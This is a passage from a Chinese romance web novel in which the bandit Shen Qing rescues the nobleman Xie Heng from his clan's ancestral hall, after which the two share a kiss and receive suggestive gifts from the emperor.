谢道清缓缓开口,他虽然起了杀心,可毕竟谢珩是谢家栋梁,是谢家百年家业的继承和延续,谢珩一死,谢家这一代并无能出其右的子弟,谢家依然要走向衰败而未可知。 他给谢珩最后一次机会,也是想给谢家多留一点希望。 当然,其他世家绝不能容许这样的机会。 “丞相,这次世家受创,恐怕没有数十年以及一两代人的经营,很难再回到往日鼎盛,这样的千古大罪,你一句轻飘飘的不再追究就算了吗?” “就是!再说珩公子受那妖孽蛊惑,早就失了心神,根本就不是从前的珩公子了!” “就算逼着珩公子交出那妖孽,等我们杀了那妖孽,谁知来日珩公子会不会蓄力报复?” 沈青盘腿撑着下巴坐在梁上,听着他们一口一个“妖孽”,嘴角有些难为情地撇了撇,真是没想到,原来她的好看,竟然这样毋庸置疑。 谢道清没有理会其他世家的喧嚷和反对,他神色冷肃,盯着跪在地上的人:“瑾之,最后问你一次,沈青你到底交不交?” 沈青 目光专注了些,望着那道跪得腰背笔挺的身影,也不由得坐直了身子,隐隐也有些期待他的反应。 最坏的打算,万一谢珩真的妥协了将她交出去保命,她就先冲出去将他打死! 哼。 “沈青不是妖孽。” 第一道声音传到耳畔,清清淡淡,掷地有声。 她的身形微微顿住。 “不是他蛊惑我,是我心悦于他,此生也只会心系于他一人。” 温雅柔和,不可置疑。 她彻底忘记自己需要呼吸。 他亲口说,她亲耳听,中间不再有任何阻碍与猜测,像空气里悠悠飘浮不定的一颗小尘珠,终于落定在掌间心头。 供台明明烛火下的列祖列宗,庭前院后林立站满的世家各族,照映屋梁的一轮圆月,夜风吹过的树影婆娑。 皆为见证。 少女紧紧抿着唇畔的笑意,那笑意便从她清澈如泉的眸子里,映出星星点点来。 秋风寒肃的深夜,心间是满园烂漫春花,关不住,藏不实,枝头红香蹭蹭冒出院墙,灿若春花的少女容颜,颊边被染成一片绯红。 好一会儿,世家中有人反应过来:“所以……其实珩公子是断袖?” 谢珩坦然:“是,我的确是断袖。” 像一枚澄澈琉璃轻轻坠入数年无波古井中,霎时涟漪千层。 听到“断袖”二字,沈青眸底唇畔的笑意凝结,好一会儿,她才缓缓撑起手臂,扶住自己额头。 大事不妙啊。 这些天她一直在各种纠结来纠结去,压根就还没跟谢珩说,她其实是个姑娘啊! 谢珩在小金顶上,斩钉截铁地说过,他不是断袖。 但他如今在肃穆祠堂前,当着所有世家大族的面,言之凿凿,说他是断袖。 所以现在该怎么办? 她是姑娘这事还能不能说? 她甚至将目光挪向明灯照映下那一面森然牌位,各位列祖列宗,虽然我们互不相识,毫无关系,但能不能显个灵,指点一二呢? “谢瑾之!” 随着一声清喝,牌位两边的明灯,憧憧火苗都跟着骇然跃动,像是祖宗真显灵了一般。 谢道清甚至还下了两步台阶逼近:“你确定要执迷不悟吗?” 谢珩微微仰头对上:“叔父既然说是执迷,何来了悟?我就执迷于此,九死无悔。” 无论是谢道清还是谢氏其他子弟,都因他这平淡清疏的寥寥几句,震得面色发白,其他世家自然不会放过这样的机会。 “说什么洛京第一公子,清矜雅正,谦谦君子,世家子弟都以他为楷模,没想到竟然也是一个好色奸邪之辈!道貌岸然的伪君子啊!” “就是,谁不知道珩公子最洁身自好,多年来不近女色,厌恶男风,还以为多光风霁月,都是装给我们看的!” “谢氏百年清门啊,连最出类拔萃的后起之秀,都是这样虚伪龌龊的人物,可见这堂堂谢家,藏污纳垢到这么地步了!” 一句句落井下石的嘲讽争先恐后钻入耳中,不知为何,沈青觉得可比他们骂她妖孽来得难听刺耳多了。 谢珩才不是他们说的这样! 不对,怎么喜欢她就是道貌岸然虚伪龌龊了? 烛火下,可以看见谢道清那张向来沉静清隽的面容,愈发可见的苍白,他眉眼间的不忍痛惜之色褪去,眼底的杀意再次翻涌而出。 “这下你可看清楚了,你与谢家同根同脉,因你一人所作所为,将谢家名声败坏到何种地步?” 谢珩淡然一笑:“如果我没记错的话,断袖一事,我已经在祠堂前认过罪,归根结底,我不过是心悦于一人而已。谢氏与众多世家,百年清门望族,到底如何藏污纳垢,又因何而倾覆,诸位应该都心知肚明,无论你们怎么把罪责归纳到我身上,也是无济于补的。” 虽然看不到他的表情,可是透过那道笔挺如松的背影,还有他清款娓娓的声音,她几乎就能看到那张烛火憧憧下,容光映人的眉眼五官,清冷中带着一点风轻云淡的笑意。 他说他在祠堂前认过罪,因为断袖一事。 原来上次他在祠堂中被打成这样,竟然是因为这个! 竟然……那样早么? 沈青一颗心脏好像被一只手攥住拉扯,她呼吸得有点难受,想去回忆他受罚前后的点点滴滴,可是零碎的记忆太多太多,她串不起来,可是记忆里不知到底是那刻开始,脑海中浮现出的每一个画面,都带上谢珩清浅的身影。 谢道清冷笑道:“你以为你不交出沈青就护他吗?等我先清理了门户,马上就去查抄你的府邸,一样地斩草除根!” 谢珩不由得反问:“不知叔父何来如此把握,认为我死后,沈青就是刀俎下的鱼肉?即便没有我,叔父又能耐他何?” 如果说初入洛京的沈青是一只被拔掉了爪牙的林中虎,而朝中这几个月的风云变化,他已经重新长出了更锋利的爪牙,势不可挡,在众人终于彻底反应过来的时候,世家高门已经被这只猛虎撕咬得分崩离析。 再往前,虽有荆棘,但已是康庄大道,即便他身死,短时间内,也无人再能撼动沈青。 谢道清明显有被这话戳中,他呼吸都不由得急促了几许,听到有人在催促。 “丞相,这下可不能再心慈手软了!快下决断,不然夜长梦多!” “好,既然你执意如此,我就先替谢家清理了门户,给诸位世家一个交待。”谢道清终于痛下杀心:“来人,上家法大刑!” 本来他想给谢家多留一分希望,既然这希望变成刺向谢家的尖刀,那他再也不能留。 有了谢珩,沈青才如虎添翼,那他就先翦除了这羽翼。 只要谢珩一死,他自有机会重新汇集起世家的力量,再次在朝中翻手为云覆手雨。 他转过身去,虔诚而郑重地看向供台前的森森牌位。 用刑的两名长辈各自拿了一根粗壮的荆条在手,从梁下走过的时候,可以看见荆条上粗如钢针的尖刺。 上一次,谢珩就是被这样的荆条伤得体无完肤,沈青想起来了,她没见过谢珩刚刚受过刑后的样子,但是她记得那天去小院喝酒,谢珩背上的血浸满白衣的模样。 一想起来,她那双清眸就憧憧冒火。 这一次,他们不是要打伤谢珩,而是要将他活活打死,然后对外和陛下的解释,便是犯了族规受罚,因身体虚弱受不住罚而身殒了。 两只荆条一左一右被高高举起,在所有人目光的注视下,两只荆条在空中划出响亮的声音,可是那力道没有落在谢珩的背上。 两只粗重的荆条碌碌滚落在地,隔得近一些的话,还能看见荆条上钉了两枚枫叶,是院中的红枫,此时像刀片一样深深钉在荆条上。 众人仰起头,看见屋脊上有一轮明月,玉盘清辉,温柔皎洁,照映立在屋脊上那道劲瘦秀挺的修长身影。 秋风杳杳,青衣飒飒。 众目之下,青影翩然落于庭院中。 谢珩一双眼眸星河明亮,只容得下映得出那一只青影,在眸子里由远及近,渐渐放大,最后那只青影变成一张清绝俊俏写满担忧的面容。 腿上重量一松,那两只被压在膝窝上的粗重木棍已经到了沈青手上。 “你们谁伤的他?” 她压着声音,尤像是猛兽在发出致命攻击前的低吼,这种天然压迫下,庭院中不少人的目光循着她的声音,下意识就望向那两个行刑的谢家长辈。 “沈青,别……” 谢珩还没来得及阻止,空气里就听到骨头被折断的声音,然后才是分别两声惨叫响起。 “……别伤人。” 他撑着身子从青砖地面站起,还是将没有说完的话说出来。 沈青抬手将两根木棍一扔:“既然他们动了手,就让他们这双手好好休息些时日吧。” 谢珩微微叹了口气,明明是叹息,可是看向来人的目光,是掩藏不住的星星点点。 “你来了。” 不知道要对她说些什么,他站得离她近些,几乎贴在她身边,勉强压抑住唇畔 的笑意莞尔。 沈青翻了翻白眼:“我再不来,怎么对得起你家列祖列宗?” “沈青!你好大胆子,竟然敢擅闯谢家祖祠!”谢道清厉声喝斥,随着这一声厉喝,祠堂外亲兵鱼贯而入。 沈青目光缓缓拂过供台上那一排排森然牌位,有明灯照耀,香火缭绕,义庄下的无名牌位何及? 她眸中闪过一抹戾色:“你们谢家祠堂难道是玉皇大帝住的凌霄宝殿吗?什么叫竟敢擅闯?我想闯就闯了。” 说着,她一把拽过谢珩的手腕,拉着他一步一步踩在台阶上,直到登上最后一阶,在谢道清难以置信的目光下,将他步步逼退,直至他身子抵上供台,再退无可退。 随着她的动作,庭院中其他世家早就满目骇然,谢家亲兵也跟着步步紧逼,只是她始终没有真正动手,亦无人敢动手。 谢道清镇定下来,目光重新恢复冷锐:“你确定要在这里动手吗?” “当然不会,”沈青摇头否认:“我就是来知会谢家的列祖列宗一句,谢家这一代中最清正最矜雅最体恤百姓最恪守圣贤道的人物,今日我救下来了,至于谢家那些真正败坏门风的人,我也会清理干净,不用太感谢我,保佑我做什么都得偿所愿就行。” 她说这话的时候,谢珩感受到自己手腕被一道力量紧紧攥住,尽管还隔了一层衣料,他也能感受到对方掌心里的灼灼温度。 他静默无言,祖宗牌位就在眼前,甚至自己身前,正对着祖父与父亲的灵位,他微垂了眉眼,没有直视祖父与父亲灵位上金烫烫的字眼。 如果有朝一日黄泉相见,他愿意在地府受千刀万剐油锅拔舌种种酷刑来赎罪,可是今日此时,他也希望祖父和父亲能见一见沈青。 她是世上绝无仅有的沈青。 谢道清向来平静淡然的一个人,整个人身子都微微发颤,倒不是因为对孤身而来的沈青赶到恐惧,是他从未见过有人敢在谢家如此放诞不羁! 他几乎开始口不择言:“沈青!你这个丧心病狂之徒!谢家宗祠,岂容你在此放肆!大放厥词!眉来眼去!不知检点!你……你……” 被他这么劈头盖脸一顿骂,沈青微微侧目,祠堂前后的守卫埋伏,在他的谩骂声中,悄然变幻。 谁都心知肚明,她能孤身一人出现在这里,那就证明祠堂之外已经全部是她的人了。 那么最后的机会,就是在这祠堂之内。 一旦祠堂之内失利,世家就此永远失利。 今日本来就是孤注一掷的殊死一搏,一旦出了这个祠堂,他们将再无第二次机会。 感受到祠堂里正在不动声色织就一张天罗地网,以一对这么多,想都不用想,她肯定打不过。 沈青拉着谢珩退了两步:“丞相,还有诸位世家长辈,可要恭喜你们了。” 谢道清冷眼看她,知道她说不出什么正常的话,但还是尽量拖延了时间:“恭喜什么?” 她一脸笑意天真,墨玉般的眼睛狡黠灵动:“你们这辈子应该没有见过独步天下的轻功吧?” “恭喜你们今天开眼见到了!” 话音未落,她一手揽上谢珩的腰,在从门里门外檐下檐上涌出来亲兵暗卫中,铺天盖地的长枪短箭里,一青一白两道身影如云中野鹤,自在如云飘过屋顶,消失在月影清辉中。 只留下满地喧闹纷乱。 谢道清扶着身后供台,身子几乎要瘫软下去。 一切可能再无力回天。 月下清辉,两道身影并肩掠过屋檐瓦墙,青影飒然,白影飘逸,在夜风里互相交织。 地上的影子重叠,身上的衣袂交叠,两人深深浅浅的呼吸也互相缠绕着。 如果不是耳畔风声掠得太快,大概能听到两副不同躯体里,同样剧烈鼓动的两颗心。 砰砰—— 砰砰—— 越过一处红墙,谢珩只觉得脚下忽然落地,紧缠在腰间的力道很快松开,落地一瞬,交叠在红墙上的两道身影不觉间各自分开。 明明已经落地,耳畔依然只有夜里的烈烈风声,沈青偏过头背对着他,只看得见夜风吹起她的发梢,一点轮廓极好看的侧颜。 “还好……你来了。” 谢珩开口,还是祠堂里说的那句话,语气里带上一点理所当然的庆幸。 沈青“哼”了一声,若无其事地瞥了他一眼:“总不能在你家白吃白喝这么多天吧?” 听到这话,谢珩本来映了一点笑意的眸子,顿时黯淡些许,有一点错愕:“就因为这个吗?” 沈青没回他,反问道:“我可不信,今夜我要是不来,你就死在这儿了?” 说不上为什么,总觉得哪里不对劲,这种不对劲让她心里来气。 她绝对又进这人圈套了! 谢珩微垂了眸子,明明比她高出一个头,这时候好像连风都有点受不住,像被吹弯了脊梁,低低的,低到尘埃里。 须臾,她听见他说:“我……私心里是想看看,你会不会来。” 沈青一肚子火蓦地一下被浇灭,真烦,出息呢! “要是我没来呢?” “没来,”谢珩薄唇抿了抿,唇色显得发白:“就没来。” 没来他能怎么办呢? 不就是万念俱灰吗? 他也不能怎么办,只是光想一下,就心神俱颤。 沈青顿了顿,看着眼前人越发苍白的唇色,重重叹了口气:“上次你在祠堂受刑的时候,我没能赶到,但是现在,我不会允许这样的事情发生了。” 谢珩俶尔抬眸,眸底比月色还要清亮,映满她的身影。 沈青受不了他这双令人溺毙期间的温柔眼眸,她下意识别过头想走,手腕突然被人用力攥住。 那双深深眼眸里汹涌的情愫,席卷而来,彻底将她吞噬。 “沈青,今晚的月色很美。” 沈青没有看碧霄中的那轮圆月,她回望过去,眼前人明明比月色还美。 她记得,但具体又想不起来,谢珩在什么时候,也跟她说过同样一句话。 皎皎月光下,公子颜色如玉,眉眼如画,无论看多少次,这样的绝世容颜依旧让人心动神颤。 很快,那张玉容在自己眼前无限放大,放大。 微凉的指尖双掌轻轻捧住她的脸,同样微凉的唇,轻轻在她唇间一点,再一点。 然后厮磨辗转。 沈青一双杏眼无限睁大,还可以看见天上那轮皎然明月,还有眼前被方放大的五官眉眼。 苍天啊! 这么美的月色下,有一个绝世公子,正在捧着她的脸亲她! 如果就此停止呼吸,是不是时光就停驻在这一刻了? 谢珩闭上双眼的样子竟然也很专注,他的睫毛好长,皮肤真的像羊脂白玉一样,一点瑕疵也看不到啊。 微凉的手掌不知何时起变得温热,轻轻覆在她的双眼上,她眼前忽然一片漆黑,眨眨眼,长睫不安分地在他掌心里划了划。 换来的是对方更温柔缠绵的入侵。 完了完了,萧瑞还带着人就在附近守着呢,他们肯定都看见了! 好丢人啊! 沈青感受到自己脸庞上发烫的热意。 不过……被这么英俊的翩翩公子亲吻,怎么会是丢人的事呢? 诶呀,可是谢珩,他现在亲吻 的是一个男人啊! 大概是感受到她的心猿意马,唇齿间的温柔缠绵变得强势而无可抗拒,沈青没有刻意调整呼吸,呼吸却不受控地,时而凝滞,时而急促。 完全取决于对方是攻城略地还是杏花春雨。 下意识地,她攀着谢珩衣角的双手越来越紧,谢珩似乎察觉到,抬手轻轻一捞,她的双手就攀上了对方腰背。 是劲瘦修长的腰背,是两人身体更加的靠近。 她完全沉溺于这样铺天盖地的温柔辗转中,唇齿相依间,所有情愫的交织相融。 背后突然抵上身后坚硬的红墙,有一点冰凉,身子好像不是沈青,而是变成了一滩清泉。 她要化掉了。 就要融化成一滩水之前,她又被人捞起,捞进一个炽热的怀抱中,紧紧裹住。 第88章 第88章你什么时候开始喜欢我的…… 沈青身子懒洋洋地靠在浴桶桶壁上,任温烫的浴汤、氤氲的水汽、弥漫的药香和熏香,一切看得到闻得到摸得到的事物,统统将自己包裹。 她仰着脑袋发呆,长睫被水汽沾湿,头顶是一整片澄澈明镜的琉璃瓦顶,一切都太如梦似幻。 那样皎然的月色,那样绝色的公子,那样缠绵悱恻的唇齿相贴…… 现在好了,只要一想到这个场景,她的唇间就开始发麻,也不完全是因为她想到这个,是从红墙下,一直到回谢府,再到现在她快把浴汤泡得开始有了凉意,她唇上那种若有若无的酥麻感还未散去。 都怪谢珩! 好端端的,为什么要亲那么久,还那么用力? 直到浴汤彻底不再温暖,沈青才拿了巾帕擦了脸面,穿戴好衣裳,慢吞吞走出内室。 她发现了,每次只要她沐浴,谢珩一定是在书案前就着一盏桌灯翻阅书册。 见她沐浴完出来,与往常一样,他的目光会从书卷上自然而然挪到她身上,不过今晚,两人目光在对视上的一瞬,都默契地堪堪各自避开,猝不及防中带了一点莫名的从容。 换做从前,谢珩会平静地,似问似答说一句“你洗好了”。 今晚没有。 他没有说话,沈青也不知道要说些什么,她都有点想不起来,平时沐浴完她是直接爬上软榻吗? 应该是吧? 她脚上只穿了一层薄薄的足衣,踩在卧房中厚厚绒垫上,忽然觉得这绒垫也太软绵了,像踩在云朵上,让人脚下无端左右晃动。 “公子,陛下派了宫中特使前来。” 门外是鸣山的声音。 因这突然传入卧房中的这一道声音,房中的两个人,居然都心照不宣微松了口气。 谢珩轻咳了一声:“好,知道了。” 今晚闹出这样大的动静,宫中必然知道,只不过两方相争,还未分出胜负的时候,陛下肯定不会出面。 现在尘埃落定,以为要等明日早朝的时候陛下才会表态,没想到连夜就派了特使到府上。 本来是要去前厅接待,但那特使说无关公事,只是陛下念及两位今晚奔波惊惶,所以送了些私人赏玩之物前来抚慰,不必郑重其事搞那套君臣做派。 于是将陛下亲自挑选装点的小匣子,专程送进内院,还送到二人手上。 世家专权,权势之大,早就在君王卧榻之侧酣睡,至少从正麟宫变起,掌控君王废立生杀的大权,便不在皇室之中。 今夜谢家祠堂内的相争,于帝王家来说,依然只是世家内部权势的更迭。 谢道清开始失势,陛下忙来向谢珩示好,自然是常情。 孝武帝虽然昏聩无能,不过沈青去过宫中宝库,实在不可否认,他的赏玩水准还是很高的,连夜从宫中送出来,特使还专门强调是陛下亲自挑选装点,那必然是难得一见的好东西。 等送走特使,她迫不及待站在书案前,手指摩挲着用软藤细细织就的小匣子:“看看陛下送了些什么宝贝来。” 谢珩对宫中赏赐向来没有太大兴致,在他眼中,不过是陛下及时的一次表态和示好罢了。 可是见沈青兴致勃勃的样子,他也不由得唇畔莞尔,竟然也隐隐对这所谓赏赐之物带上一点期待。 “吧嗒”一声,匣子上的小玉锁被打开。 “咦?这里面装了一对酒?” 匣子里赫然装了两只小酒瓶,是宫中御用的黄瓷酒瓶,估计也是难得的琼浆玉液。 不过沈青没有直接先去拿那两只酒瓶,而是被整齐叠放在酒瓶旁的另外一些小册子吸引目光,这些小册子比一般的书册要小很多,像是街边摊上专门给孩童看的画册,不过都用金边框裱着,简直可谓富丽堂皇。 难道陛下还认为她有赏画的才学吗? 她在心底嘟囔着,还是好奇翻开一页小册子,这小册子外面金边框裱,内里也不是纸张,竟然每一页都是薄薄木片,那栩栩如生的画像就是纂刻在木页上,涂上颜色,比直接在纸上用笔墨画出来的不知要活灵活现多少。 沈青一双乌黑瞳仁突然被定住,好在有长睫掩映,看不到映在她那双清澈眸子里紧紧抱在一起的一对人影。 不能说是抱在一起,是扭七拐八紧紧缠绕在一起的两个人,怪这木雕也太精致生动,两只小人儿眉眼五官间的扭曲快乐都极致描摹。 “啪”地一声,小册子被紧紧合上,但是只看一眼的画面被深深烙进脑海里。 是两个人!还是两个男人!! “你怎么了?” 谢珩站在一旁不明所以,刚才她从打开小册子到用力合上,中间过程不过须臾,他还没来得及反应,就看到身边人脸色明显不对。 从她微微急促起来的呼吸看得出,这恐怕不是什么好东西。 他面色一沉,也伸手从匣子里取过一本小册子,刚要翻开,手上一空,握在手中的小册子直接被人夺走。 “不行!你绝对不许看!” 这下沈青已经不是呼吸微微急促了,而是从衣襟下,脖颈出开始,一路红透到脸颊,尤其她刚刚沐浴过,水气浸染过的肌肤剔透白皙,这样透红的时候,好像要浸出血来。 谢珩的声音里明显带上一丝慌乱:“沈青?” 他目光更加深沉锐利,重新审视匣子里的事物:“这些东西有问题?” 沈青赶紧抬手挡住匣子里那一叠画册:“反正你一个也不许看!” 谢珩蹙眉,实在不能放心:“那你总该告诉我怎么了?陛下……陛下羞辱你吗?” 他细细揣摩着她的表情,应该不是什么能伤人性命的危险事物,红了脸,又不愿直说,眉眼间有愤怒,还有不停的回避。 如果被人辱骂羞辱,大概是这样的表情。 沈青好不容易匀过一口气来:“……倒也不是羞辱。” 她现在几乎都可以想象到孝武帝精心准备这些事物时的表情,他一定觉得自己今晚就是凡间的月老,咧着嘴,弯着腰,边挑捡,边嘿嘿笑。 她实在无法想象,要是谢珩看了这些画册,他那张清疏绝色的容颜,该会何等精彩? 也许会脸红,也许会暴怒,也许会羞愤得冲进宫中将孝武帝拖出来好一阵谏斥…… 况且现在卧房里就他们俩,那些画上的小人,她也看,谢珩也看,她脸红,谢珩也脸红。 苍天,如果真的发生,她愿意从此在这个世间彻底消失! 她重新清了清嗓子,尽量让自己看起来若无其事,顶着一张通红小脸:“我看看陛下给我们送了什么好酒。” 根据那些小册子,她估摸着,这酒应该也不会是什么正常的酒。 这次谢珩不再等她动作,在她拿起匣子里的一只酒瓶时,自己则上手取了另一只酒瓶,直接拆了瓶盖低头轻嗅。 “诶!别别别……” “怎么了?这酒有问题吗?” 酒香清冽醇厚,一闻就知道是宫中珍藏了至少二十年以上的花雕,恐怕还是先帝宫中库存,不知这花雕里加了些什么独有的秘香,有种绕指柔肠的婉媚,和这酒香融合极妙,勾得人竟生出几分小酌之意。 沈青紧张地盯着他的表情,深深清眸里,是认真的疑惑。 他没有闻出来是什么东西。 于是她斩钉截铁:“没有问题,陛下亲自送的东西,怎么会有问题呢?” 她混迹江湖太久,这酒里的催人情动的媚药,一闻便知,只是不知道具体是那一味药罢了。 烈性媚药,婉媚香甜,与烈酒相融,再端方君子,再出尘谪仙,都要销魂入魔窟。 谢珩不解:“既然没问题,那你为何惊慌?” 实在不知那画册画了些什么 ,还是这酒水究竟有什么他没察觉的问题,但他直觉,她的反应非常不对。 “没有惊慌啊,我哪里惊慌了?” 沈青边说,边不动声色从他手上收回酒瓶,连带着自己手中的酒瓶,还有那一堆小册子,都重新塞进小匣子,再将小匣子合上,吧嗒一声,玉锁又重新锁住。 谢珩见她动作如此利索,可他还没弄清这其中的反常之处,他抬手拦了她的动作:“就收起来了吗?真的没问题?” 他对她说话总是轻柔而温和的,但她也分辨得出,有时候,温柔的强势,是多么令人不可抗拒。 她看着他的眼睛,多神采分明的一双眸子,本来就美得摄人心魄,这时候还带着一点坚定,一点委屈。 是在担忧她的安危,又是在嗔怨她不愿与之坦诚。 沈青深吸了口气,心想自己要是定力差一点,非全部交待了个干净不可。 但是!好歹她也是名动一方的人物!还是有点定力的! “谢珩。” 她说话的时候,忍不住又盯着他雕霜斫玉的面容看了会,虽然不久前,她跟这张脸的主人还在月下做着极为亲密的事情。 但这张脸始终还是不染凡俗的出尘绝类,怎么能被那些俗物沾染! “你还年轻……用不上。” 她郑重其事,硬邦邦说完这句听起来毫无相关的话,然后抱着小匣子,无视谢珩逐渐黯淡下来的目光,满面严肃走到自己软榻前,将小匣子塞进软榻下最里层,最后爬上软榻,严严实实盖上被褥。 一气呵成。 诶,一定是这卧房中地龙烧得太热,她才会刚沐完浴,马上就湿了这么一身汗。 沈青目光盯着屋梁看来看去,她想翻个身睡得自在一些,可是谢珩一直没有动作,她现在躺着也看不到人,只好继续按捺了一会儿,眼前终于一黑,谢珩起身将桌案上的明灯熄灭。 须臾,青玉灯亮,旧梦在眼前流转。 她听见谢珩慢慢走向床铺,翻身上去的声音。 虽然他行事动作一如既往轻慢优雅,微灯下,还是淡淡氤氲着一点儿失落。 不自觉中,沈青东奔西闯的心绪,也被他拉得慢慢低落。 她果断开口打破这点突如其来的低沉氛围:“谢珩,问你一个问题啊。” “好,知无不答。” 轻轻柔柔的灯影里,谢珩的声音也温柔得如梦似幻。 她撑起身子,任被窝从肩头滑落:“你什么时候开始喜欢我的?” 很轻快寻常的一句话,卧房中的清梦都微微凝滞。 好一会儿,才听见谢珩的声音在微光中荡开:“也许……有点早。” 沈青想了会:“那肯定是在你上次进祠堂前。” “……嗯。” “在陈郡侯府的时候吗?” “应该还要早。” “那不会是在游湖的时候吧?还有朝堂上跟陈郡侯吵架的时候?” “也还不算是。” “总不会是刚来洛京时吧?” “不是。” 沈青歪着脑袋猜了半天,最后彻底坐直身子:“啊?难道是来洛京前?在渝州,在小金顶吗?这么早吗?” 谢珩那头陷入沉默,不再回应她。 他说知无不答,可是这个答案,刨根问底,他竟然自己也说不清。 他离开洛京前去渝州剿匪时,抱着匪患必除的雄心壮志。 从渝州再回洛京时,他心里最大的企盼与欣喜,是能将沈青一同带回洛京。 他不知道情动具体萌生在哪一刻,但一定藏在小金顶上朝夕相处细细碎碎的点滴中。 所以小金顶上时光流转的每一瞬间,都不可替代。 他的思绪正回落于小金顶上的苍山白雪,软榻上的人已经叉腰怒嗔:“原来你在小金顶上就对我有不轨之心了!哼!那你还算计我,派人来抓我,还把我关进大牢!” 对于她这么一番突如其来的秋后算账,谢珩的面容在倾泻微光下微微一怔:“可是当时的情境,是对你我的最好选择了,莽山上的兄弟,我都尽力保全下来……” 这样解释,很像是狡辩,他忙画风一转:“一开始我没想骗你,我真是无意被你们抓上山的……” 他只一口咬定,事情不是因他蓄意谋划而起。 “那你也是骗我了,一边喜欢我,一边欺骗我!” “是,不论出于何因,这件事我永远对不起你。” 他的语气太温柔坚定,过于真诚的态度让沈青气焰顿时消下来,故意倒打一耙,张牙舞爪,是想给将来的自己找个台阶。 得逞后她立刻换了语气:“那你倒不必太愧疚,我现在没生你气了。不过你必须答应我,有一天,如果你发现我骗了你,那你也不许生气。” 谢珩很痛快:“我永远不会对你生气。” 好像说得太快不够坚定,他又补充:“谢珩永远都不会对沈青生气。” 他知道,所有预设的话,其实都是已经发生了的。 沈青有沈青的事情,但只要是她,他就一点都不会生气。 “好,那就一言为定!” 得到肯定的答案,沈青心满意足,重新躺进香香软软的被窝。 她的身体和心脏好像被一片柔软的云朵稳稳托住,容她在碧空青天中自在徜徉。 青玉灯在卧房中流淌出皎然微光,是谢珩费尽心力复刻出来的莽山旧梦。 可是今晚,她见到了可以与小金顶月色媲美的一轮明月。 她将明月揽入怀中。 第89章 第89章把人掰弯了还能掰直吗?…… 沈青整夜都在做一个梦。 梦里不是明月高悬,清辉下如玉公子的低眉浅笑。 而是昨晚她在画册上只看了一眼的那对缠绕在一起的小人儿,不知怎的,在梦里,那对小人儿的两张脸,竟然就变成了她和谢珩! 纠纠缠缠,反反复复,月落而天明。 她懵懵坐起身子,望了一眼早就空无一人的床铺,松了口气,平复了好一会儿,过于快速的心跳终于平缓下来,热烫的两颊绯红褪去,她才默默抬手扶额。 好烦哦。 昨夜红墙下,美得那样令人心惊的月色,她没有梦到,怎么小册子上不堪入目的一瞥,居然能占据整个梦乡? 不是……她是这样的人? 她无言静坐了会,才慢吞吞起身收拾,颇有些无精打采地出了房门,撑着脑袋又在檐下坐了半天,直到快要晌午的阳光暖暖洒在身上,她才觉得梦里的潮湿终于被晾干。 她好像越发喜欢谢珩的这间东院,简约又舒适,重要的是清幽少人,如果可以,她能在廊下安安静静待上一整天,只要不主动招人,那些丫鬟小厮绝不会在你面前。 不像她手下的那些兄弟们。 她来洛京后,不知比在莽山时低调多少,但还是不可避免,谢家宅院太清幽,以至于她的人来来往往,几乎把谢府东院当成沈家后院。 比如现在。 她就懒洋洋歪在廊下藤椅里,听手下兄弟跟她汇报情况。 原来昨天,是谢珩搜罗了一笔极有力的罪证,临时进宫面见陛下,将会对世家再一次致命打击。 世家各族几乎被逼到走投无路,也是狗急跳墙了一回,在路上截了谢珩,欲杀之而后快。 这是他们最后图穷匕现的殊死一搏。 昨夜既已失利,那今日就是谢珩刀俎下的鱼肉了。 成王败寇,没什么好说的。 只要萧瑞在其中好好把握,那这两方相斗,都是为他扫平康庄大道。 说到萧瑞,手下又道:“瑞公子说,晚些时候来府上看望大哥。” 沈青顿时警觉:“来看望我干嘛?我又没生病。再说了,他现在很闲吗?” 哼,别以为她不知道,这人绝对就是来八卦的。 小金顶上他一直没看到 的场景,居然在洛京看到了,她想都不用想,这小子昨晚绝对给赖三写信了,那信的内容她都能猜个七七八八,肯定就是把昨晚红墙下的场面一顿渲染,然后再夸赞当初他们从山下抢回谢珩的这个举动多么明智,顺便再吐槽一下她的重色轻友。 虽然她住在谢府的这段时间,萧瑞也来过不少,但现在她可不想给他看热闹。 “可是瑞公子说,已经跟小厨房报了两个菜,准备来陪大哥用膳呢。” 沈青很无语:“不是,他什么时候跟谢府的厨房混得比沈府厨房还熟了?” 那手下如实答:“是珩公子顾惜瑞公子在营中艰苦。” “……反正今天别让我看见他。” 沈青打发完手下,也没继续在藤椅里窝着,她换了身衣裳,随便在街头巷尾走了一圈,本来昨晚出了那样大的事,按理城中氛围会很低沉整肃。 但是并没有,几乎所有街头巷尾,茶楼酒肆,仿佛都沉浸在另一个与朝堂政局毫无相关的氛围里。 这个氛围,自然就是她和谢珩的流言。 她初入洛京的时候,关于他们的流言也纷纷扬扬传过一场,毕竟谢珩的确是上山委身匪寨一段时间,传奇中带上点香艳,谁都爱听。 但是入京后她跟谢珩中间好长一段时间实在走得不近,加上他在洛京中谦谦雅正的君子形象实在太深入人心,等流言散去,他还是那个洛京中令人景仰高不可攀的第一公子。 直到昨晚,他们心目中最清越矜贵不染凡尘的偏偏公子,纵容一悍匪大闹祠堂,当着世家各族长辈,还有列祖列宗的牌位,公然承认自己是断袖。 还有红墙下的一双交叠人影,也不知多少只眼睛看到了。 人们好像突然又想起了谢珩当初在莽山剿匪的种种传闻,谁都没空再去关心王家谢家怎么样,今日朝堂上又发生了什么。 大家只想沉浸在这场与自己毫不相关的艳闻中,及时地获取一些短暂又肤浅的快乐。 谩骂的,痛惋的,赞赏的,艳羡的,应有尽有。 反正重点就是,向来光风霁月的谢珩,也无可自拔地喜欢上一个男人。 那个男人还是曾经掳他上山为妾的悍匪。 这谢珩听起来也怪惨的。 ……等她想起她就是那个将人强掳上山的悍匪后,懒得再瞎逛,又一路晃回谢府,东院里,谢珩已经回府,在等她用午膳。 她刚撩起衣服坐下,就听见耳边有人在问:“怎么脸色不太好?昨晚没睡好?” “怎么会,我睡得可好了。” 沈青一张脸白了白,背脊挺直,若无其事地喝了一口金丝燕窝:“真好喝。” 谢珩默然盯着她眉眼看了一瞬,除了隐隐有些没精神,倒看不出太多情绪,也不知是不是跟昨晚陛下连夜送来的东西有关。 她坚持不说,他也不再主动追问。 感受到落在自己身上的目光终于敛去,沈青微微松了口气,想到昨晚那个梦,那个小人儿的脸就是谢珩的这张脸,真是让她有点无法再直视他的面容。 再结合城中流言之盛……造孽。 很难得地,她这次全程也食不言寝不语,安安静静用完了这顿午膳,当腹中填饱,她心中的负担也小了一些,终于抬眼打量一下身边的人神色。 他的眉眼五官依旧清俊疏淡,如沉静清澈的古泉,找不到半点情绪起伏的破绽。 谁知她才看了一眼,这人马上就敏锐察觉,也将目光对上,让她避无可避。 他终于问她:“你是不是听到些什么了?” 